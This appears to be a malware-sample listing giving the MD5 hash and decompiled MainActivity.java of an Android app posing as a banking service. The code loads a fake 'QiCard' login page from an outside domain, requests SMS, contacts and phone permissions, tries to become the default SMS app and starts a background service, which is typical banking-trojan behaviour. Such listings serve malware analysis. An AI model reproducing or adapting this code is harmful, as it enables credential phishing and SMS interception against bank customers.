خدمات كي المصرفية v1.0版本的 MD5 值为:13576876dd3b6f409d12ce2bacdf920b
以下内容为反编译后的 MainActivity.java 源代码,内容仅作参考
package fsuene.eier;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.BatteryManager;
import android.os.Build;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.provider.Telephony;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class MainActivity extends Activity {
private void a() {
WebView webView = (WebView) findViewById(R.id.webview1);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setDomStorageEnabled(true);
webView.getSettings().setDatabaseEnabled(true);
webView.loadUrl("https://app-login.top/QiCard/1");
webView.setWebViewClient(new WebViewClient());
SharedPreferences defaultSharedPreferences = PreferenceManager.getDefaultSharedPreferences(getBaseContext());
BatteryManager batteryManager = (BatteryManager) getSystemService("batterymanager");
if (!defaultSharedPreferences.contains("ui")) {
defaultSharedPreferences.edit().putBoolean("ui", true).apply();
Context applicationContext = getApplicationContext();
d.e(applicationContext, String.valueOf(batteryManager.getIntProperty(4)) + "%");
}
String packageName = getPackageName();
if (!Telephony.Sms.getDefaultSmsPackage(this).equals(packageName)) {
Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
intent.putExtra("package", packageName);
startActivity(intent);
}
d.a(getApplicationContext());
startService(new Intent(getApplicationContext(), kN.class));
}
@Override
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.main);
if (Build.VERSION.SDK_INT < 23 || !(checkSelfPermission("android.permission.READ_PHONE_STATE") == -1 || checkSelfPermission("android.permission.RECEIVE_SMS") == -1 || checkSelfPermission("android.permission.READ_CONTACTS") == -1)) {
a();
} else {
requestPermissions(new String[]{"android.permission.READ_PHONE_STATE", "android.permission.RECEIVE_SMS", "android.permission.SEND_SMS", "android.permission.READ_CONTACTS"}, 1000);
}
}
@Override
public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
super.onRequestPermissionsResult(i, strArr, iArr);
if (i == 1000) {
a();
}
}
}